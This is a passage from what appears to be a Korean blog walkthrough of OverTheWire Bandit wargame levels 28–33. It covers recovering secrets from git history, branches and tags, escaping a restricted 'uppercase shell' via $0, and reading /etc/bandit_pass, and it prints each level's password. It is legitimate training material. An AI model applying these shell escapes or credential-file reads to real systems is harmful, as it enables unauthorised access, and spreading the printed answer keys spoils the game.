    fix info leak

commit abcff758fa6343a0d002a1c0add1ad8c71b88534
Author: Morla Porla <morla@overthewire.org>
Date:   Sun Apr 23 18:04:39 2023 +0000

    add missing data

commit c0a8c3cf093fba65f4ee0e1fe2a530b799508c78
Author: Ben Dover <noone@overthewire.org>
Date:   Sun Apr 23 18:04:39 2023 +0000

    initial commit of README.md
---------------------------------------------------------------

#step 3
bandit28@bandit:/tmp/repo28/repo$ git revert 24ad07097ab1bdc12dfbd4bfe854d06fb6f0ccbe
bandit28@bandit:/tmp/repo28/repo$ cat README.md
---------------------------------------------------------------
# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: ***********
---------------------------------------------------------------

 

๋”๋ณด๊ธฐ
[Next Level]
tQKvmcwNYcFS6vmPHIUSI3ShmsrQZK8S
Explanation(Keyword)
 tmp์— ์ €์žฅํ•˜๊ณ  ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ์žˆ์œผ๋ฏ€๋กœ ๊ทธ์ชฝ์—์„œ ํ•ด์•ผ๋˜๋„ค์š” ใ… ใ… 
๋˜ํ•œ revert๋ผ๋Š” ๊นƒ ๋ช…๋ น์–ด๋กœ ๋˜๋Œ๋ฆฌ๋Š” ํ‚ค์›Œ๋“œ!!

์ฐธ๊ณ ์ž๋ฃŒ

 

'git' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๊ธ€ ๋ชฉ๋ก (4 Page)

์—์ด๋ธ”๋””์˜ ๊ณต์‹ ๊ธฐ์ˆ ๋ธ”๋กœ๊ทธ ์ž…๋‹ˆ๋‹ค. ์—์ด๋ธ”๋””๋Š” ์ง€์†์ ์œผ๋กœ ์„ฑ์žฅ๊ฐ€๋Šฅํ•œ ๊ฐœ๋ฐœ์ž๋ฅผ ์œก์„ฑํ•˜๋Š” ์ฝ”๋”ฉํ•™์›์ž…๋‹ˆ๋‹ค.

abled.tistory.com

 

Git/Github ์‚ฌ์šฉ๋ฒ• ๊ฐ„๋‹จ ์ •๋ฆฌ

Git : version control system Github : remote repository

velog.io


Level29

์œ„์— ๋งํฌ์— ์ ‘์†ํ•˜์—ฌ bandit29-git๋ฅผ ์–ป์–ด์„œ ๋„˜์–ด๊ฐ‘์‹œ๋‹ค.

# ...(step is same)...
bandit29@bandit:/tmp/repo29/repo$ cat README.md
---------------------------------------------------
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: <no passwords in production!>
---------------------------------------------------

#step 1
bandit29@bandit:/tmp/repo29/repo$ git log
---------------------------------------------------
commit 4bd5389f9f2b9e96ba517aa751ee58d051905761 (HEAD -> master, origin/master, origin/HEAD) #branch change
Author: Ben Dover <noone@overthewire.org>
Date:   Sun Apr 23 18:04:40 2023 +0000

    fix username

commit 1a57cf10158f133c4f40ff82251f605a7618631d
Author: Ben Dover <noone@overthewire.org>
Date:   Sun Apr 23 18:04:40 2023 +0000

    initial commit of README.md
---------------------------------------------------

#step 2
bandit29@bandit:/tmp/repo29/repo$ git branch -r #-r is remote branch list
---------------------------------------------------
  origin/HEAD -> origin/master
  origin/dev
  origin/master
  origin/sploits-dev
---------------------------------------------------

#step 3
bandit29@bandit:/tmp/repo29/repo$ git checkout dev
Branch 'dev' set up to track remote branch 'dev' from 'origin'.
Switched to a new branch 'dev'

bandit29@bandit:/tmp/repo29/repo$ cat README.md
---------------------------------------------------
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: **************
---------------------------------------------------
๋”๋ณด๊ธฐ
[Next Level]
xbhV3HpNGlTIdnjUrdAlPzc2L6y9EOnS
Explanation(Keyword)
 tmp์— ์ €์žฅํ•˜๊ณ  ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ์žˆ์œผ๋ฏ€๋กœ ๊ทธ์ชฝ์—์„œ ํ•ด์•ผ๋˜๋„ค์š” ใ… ใ… 
checkout์€ branch๋ฅผ ๋ณ€๊ฒฝํ•˜๋Š” ๋ช…๋ น์–ด์ž…๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

 

'git' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๊ธ€ ๋ชฉ๋ก (4 Page)

์—์ด๋ธ”๋””์˜ ๊ณต์‹ ๊ธฐ์ˆ ๋ธ”๋กœ๊ทธ ์ž…๋‹ˆ๋‹ค. ์—์ด๋ธ”๋””๋Š” ์ง€์†์ ์œผ๋กœ ์„ฑ์žฅ๊ฐ€๋Šฅํ•œ ๊ฐœ๋ฐœ์ž๋ฅผ ์œก์„ฑํ•˜๋Š” ์ฝ”๋”ฉํ•™์›์ž…๋‹ˆ๋‹ค.

abled.tistory.com

 

Git/Github ์‚ฌ์šฉ๋ฒ• ๊ฐ„๋‹จ ์ •๋ฆฌ

Git : version control system Github : remote repository

velog.io


Level30

์œ„์— ๋งํฌ์— ์ ‘์†ํ•˜์—ฌ bandit30-git๋ฅผ ์–ป์–ด์„œ ๋„˜์–ด๊ฐ‘์‹œ๋‹ค.

# ...(step is same)...
bandit30@bandit:/tmp/bandit30/repo$ ls
README.md
bandit30@bandit:/tmp/bandit30/repo$ cat README.md
just an epmty file... muahaha

#step 1
bandit30@bandit:/tmp/bandit30/repo$ git tag
secret

bandit30@bandit:/tmp/bandit30/repo$ git show secret
***********


#step 1-1
bandit30@bandit:/tmp/bandit30/repo$ git show-ref --tags
831aac2e2341f009e40e46392a4f5dd318483019 refs/tags/secret

bandit30@bandit:/tmp/bandit30/repo$ git show 831aac2e2341f009e40e46392a4f5dd318483019
************

 

๋”๋ณด๊ธฐ
[Next Level]
OoffzGDlzhAlerFJ2cAiz1D41JW1Mhmt
Explanation(Keyword)
 tmp์— ์ €์žฅํ•˜๊ณ  ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ์žˆ์œผ๋ฏ€๋กœ ๊ทธ์ชฝ์—์„œ ํ•ด์•ผ๋˜๋„ค์š” ใ… ใ… 
tag๋Š” ๋ฒ„์ „๋“ฑ์„ ํ‘œํ˜„ํ•˜๊ธฐ ์œ„ํ•œ ์ฝ๊ธฐ ์ „์šฉ ๊นƒํ—™ ๋ช…๋ น์–ด์ž…๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

 

'git' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๊ธ€ ๋ชฉ๋ก (4 Page)

์—์ด๋ธ”๋””์˜ ๊ณต์‹ ๊ธฐ์ˆ ๋ธ”๋กœ๊ทธ ์ž…๋‹ˆ๋‹ค. ์—์ด๋ธ”๋””๋Š” ์ง€์†์ ์œผ๋กœ ์„ฑ์žฅ๊ฐ€๋Šฅํ•œ ๊ฐœ๋ฐœ์ž๋ฅผ ์œก์„ฑํ•˜๋Š” ์ฝ”๋”ฉํ•™์›์ž…๋‹ˆ๋‹ค.

abled.tistory.com

 

Git/Github ์‚ฌ์šฉ๋ฒ• ๊ฐ„๋‹จ ์ •๋ฆฌ

Git : version control system Github : remote repository

velog.io

 

 

โšก๏ธ GIT ํ•ต์‹ฌ ๋ช…๋ น์–ด ์š”์•ฝ ์ด์ •๋ฆฌ ๋ชจ์Œ

git ์ดˆ๊ธฐ ์„ค์ • ๐Ÿ”ฐ # ํ˜„์žฌ ์œ„์น˜์—์„œ ์ง€์—ญ ์ €์žฅ์†Œ๋ฅผ ์ƒ์„ฑ $ git init ๐Ÿ”ฐ # ๊นƒ ํ™˜๊ฒฝ์—์„œ ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ [์‚ฌ์šฉ์ž๋ช…]์œผ๋กœ ์ง€์ • $ git config --global user.name "[์‚ฌ์šฉ์ž๋ช…]" ๐Ÿ”ฐ # ๊นƒ ํ™˜๊ฒฝ์—์„œ ์‚ฌ์šฉ์ž ์ด๋ฉ”์ผ์„ [์‚ฌ

inpa.tistory.com


Level31

์œ„์— ๋งํฌ์— ์ ‘์†ํ•˜์—ฌ bandit30-git๋ฅผ ์–ป์–ด์„œ ๋„˜์–ด๊ฐ‘์‹œ๋‹ค.

# ...(step is same)...
bandit31@bandit:/tmp/bandit31$ cat README.md
--------------------------------------------
This time your task is to push a file to the remote repository.

Details:
    File name: key.txt
    Content: 'May I come in?'
    Branch: master
--------------------------------------------

#step 1
bandit31@bandit:/tmp/bandit31$ git show
# I've summarized it to show only the essentials
--------------------------------------------
+++ b/.gitignore
@@ -0,0 +1 @@
+*.txt

+++ b/README.md
...
--------------------------------------------

#step 2
bandit31@bandit:/tmp/bandit31$ echo 'May I come in?' > key.txt
bandit31@bandit:/tmp/bandit31$ git add -f key.txt
bandit31@bandit:/tmp/bandit31$ git status
--------------------------------------------
....
On branch master
Your branch is up to date with 'origin/master'.

Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        new file:   key.txt
....
--------------------------------------------

bandit31@bandit:/tmp/bandit31$ git commit -m 'key_txt remote upload'
--------------------------------------------
....
[master 5798d84] key_txt remote upload
 1 file changed, 1 insertion(+)
 create mode 100644 key.txt
....
--------------------------------------------

#step 3
bandit31@bandit:/tmp/bandit31$ git status
--------------------------------------------
....
On branch master
Your branch is ahead of 'origin/master' by 1 commit.
  (use "git push" to publish your local commits)

nothing to commit, working tree clean
....
--------------------------------------------
bandit31@bandit:/tmp/bandit31$ git push origin master
#-u Option to connect semi-permanently (i.e. used when continuing to use)
--------------------------------------------
bandit31-git@localhost's password:
....
.....
remote: ### Attempting to validate files... ####
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
remote: Well done! Here is the password for the next level:
remote: ***********************
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
To ssh://localhost:2220/home/bandit31-git/repo
--------------------------------------------
๋”๋ณด๊ธฐ
[Next Level]
rmCBvG56y58BXzv98yZGdO7ATVL5dW8y
Explanation(Keyword)
 tmp์— ์ €์žฅํ•˜๊ณ  ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ์žˆ์œผ๋ฏ€๋กœ ๊ทธ์ชฝ์—์„œ ํ•ด์•ผ๋˜๋„ค์š” ใ… ใ… 
.gitignore๋Š” ์ง€์ •๋œ ํŒŒ์ผ ๋“ฑ์„ ๊นƒ์— ์˜ฌ๋ฆฌ๋Š” ๊ฑธ ์ œ์™ธํ•˜๋Š” ๋ช…๋ น์–ด์ž…๋‹ˆ๋‹ค.
git add -f ๋ช…๋ น์–ด๋Š” Git์—์„œ ๊ฐ•์ œ๋กœ ํŒŒ์ผ์„ ์Šคํ…Œ์ด์ง• ์˜์—ญ(Staging Area)์— ์ถ”๊ฐ€ ๋ช…๋ น์–ด!

์ฐธ๊ณ ์ž๋ฃŒ

 

'git' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๊ธ€ ๋ชฉ๋ก (4 Page)

์—์ด๋ธ”๋””์˜ ๊ณต์‹ ๊ธฐ์ˆ ๋ธ”๋กœ๊ทธ ์ž…๋‹ˆ๋‹ค. ์—์ด๋ธ”๋””๋Š” ์ง€์†์ ์œผ๋กœ ์„ฑ์žฅ๊ฐ€๋Šฅํ•œ ๊ฐœ๋ฐœ์ž๋ฅผ ์œก์„ฑํ•˜๋Š” ์ฝ”๋”ฉํ•™์›์ž…๋‹ˆ๋‹ค.

abled.tistory.com

 

Git/Github ์‚ฌ์šฉ๋ฒ• ๊ฐ„๋‹จ ์ •๋ฆฌ

Git : version control system Github : remote repository

velog.io

 

โšก๏ธ GIT ํ•ต์‹ฌ ๋ช…๋ น์–ด ์š”์•ฝ ์ด์ •๋ฆฌ ๋ชจ์Œ

git ์ดˆ๊ธฐ ์„ค์ • ๐Ÿ”ฐ # ํ˜„์žฌ ์œ„์น˜์—์„œ ์ง€์—ญ ์ €์žฅ์†Œ๋ฅผ ์ƒ์„ฑ $ git init ๐Ÿ”ฐ # ๊นƒ ํ™˜๊ฒฝ์—์„œ ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ [์‚ฌ์šฉ์ž๋ช…]์œผ๋กœ ์ง€์ • $ git config --global user.name "[์‚ฌ์šฉ์ž๋ช…]" ๐Ÿ”ฐ # ๊นƒ ํ™˜๊ฒฝ์—์„œ ์‚ฌ์šฉ์ž ์ด๋ฉ”์ผ์„ [์‚ฌ

inpa.tistory.com


Level32

๊นƒ์„ ํƒˆ์ถœํ•˜๋Š” ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ์ฐพ์•„๋ณด์•„์š”.. ํ–‰์šด์„ ๋นŒ๋ฉฐ!!

WELCOME TO THE UPPERCASE SHELL
>>

#step 1
>> ls
sh: 1: LS: Permission denied
>> $SHELL
WELCOME TO THE UPPERCASE SHELL
>> $HOSTNAME
>> $PATH
sh: 1: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin
:/bin:/usr/games:/usr/local/games:/snap/bin: not found #don't is shell is number 1

#step 2
>> $0
$ id
uid=11033(bandit33) gid=11032(bandit32) groups=11032(bandit32)
$ cat /etc/bandit_pass/bandit33
***********
๋”๋ณด๊ธฐ
[Next Level]
odHo63fHiFqcWWJG9rLiLDtPm45KzUKy
Explanation(Keyword)
 ์ด ๋ถ€๋ถ„์€.. ์ถ”๋ก ?์˜ ์˜์—ญ์ด๋ผ ๋”ฑํžˆ ํ•  ๋ง์ด ์—†๋„ค์š”

Level33

ํ˜„์žฌ๋กœ์ฌ ๋ฌธ์ œ๊ฐ€ ์—†๋‹ค๋„ค์š”?(์ ‘์† ๋˜๋Š”๋ฐ?)

bandit33@bandit:~$ ls -al
total 24
drwxr-xr-x  2 root     root     4096 Apr 23 18:04 .
drwxr-xr-x 70 root     root     4096 Apr 23 18:05 ..
-rw-------  1 bandit33 bandit33  430 Apr 23 18:04 README.txt

bandit33@bandit:~$ cat README.txt
****
๋”๋ณด๊ธฐ
[Next Level]
Congratulations on solving the last level of this game! At this moment, there are no more levels to play in this game.


However, we are constantly working on new levels and will most likely expand this game with more levels soon. Keep an eye out for an announcement on our usual communication channels! In the meantime, you could play some of our other wargames.


If you have an idea for an awesome new level, please let us know!
Explanation(Keyword)
 ์ˆ˜๊ณ ํ•˜์…จ์Šต๋‹ˆ๋‹ค. ์ด ๊ธ€์ด ๋„์›€์ด ๋˜๊ธธ ๋ฐ”๋ผ๋ฉฐ ๋~!
์ถ”๊ฐ€๋กœ ๋ฌธ์ œ๊ฐ€ ์—…๋Žƒ ๋˜์—ˆ๋‹ค๋ฉด ์•Œ๋ ค์ฃผ์„ธ์š”

 

  1. ์„ค์ •๋œ ํŒŒ์ผ์€ ์‹คํ–‰ ์‹œ์— ์ผ์‹œ์ ์œผ๋กœ ํŒŒ์ผ์˜ ์†Œ์œ ์ž์˜ ๊ถŒํ•œ์„ ์‚ฌ์šฉํ•˜์—ฌ ์‹คํ–‰๋˜๋Š” ๊ฒƒ [๋ณธ๋ฌธ์œผ๋กœ]
  2. ๋ฆฌ๋ˆ…์Šค ๋ฐ ์œ ๋‹‰์Šค ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์—์„œ ์ผ์ •ํ•œ ์‹œ๊ฐ„ ๊ฐ„๊ฒฉ์œผ๋กœ ๋ฐ˜๋ณต์ ์œผ๋กœ ์ž‘์—…์„ ์‹คํ–‰ํ•˜๋„๋ก ์˜ˆ์•ฝํ•˜๋Š” ์‹œ์Šคํ…œ ์Šค์ผ€์ค„๋ง ๋„๊ตฌ [๋ณธ๋ฌธ์œผ๋กœ]
  3. ๋ฆฌ๋ˆ…์Šค ๋ฐ ์œ ๋‹‰์Šค ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์—์„œ ์ผ์ •ํ•œ ์‹œ๊ฐ„ ๊ฐ„๊ฒฉ์œผ๋กœ ๋ฐ˜๋ณต์ ์œผ๋กœ ์ž‘์—…์„ ์‹คํ–‰ํ•˜๋„๋ก ์˜ˆ์•ฝํ•˜๋Š” ์‹œ์Šคํ…œ ์Šค์ผ€์ค„๋ง ๋„๊ตฌ [๋ณธ๋ฌธ์œผ๋กœ]
  4. ๋ฆฌ๋ˆ…์Šค ๋ฐ ์œ ๋‹‰์Šค ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์—์„œ ์ผ์ •ํ•œ ์‹œ๊ฐ„ ๊ฐ„๊ฒฉ์œผ๋กœ ๋ฐ˜๋ณต์ ์œผ๋กœ ์ž‘์—…์„ ์‹คํ–‰ํ•˜๋„๋ก ์˜ˆ์•ฝํ•˜๋Š” ์‹œ์Šคํ…œ ์Šค์ผ€์ค„๋ง ๋„๊ตฌ [๋ณธ๋ฌธ์œผ๋กœ]
  5. ์‹คํ–‰ ํ”„๋กœ์„ธ์Šค [๋ณธ๋ฌธ์œผ๋กœ]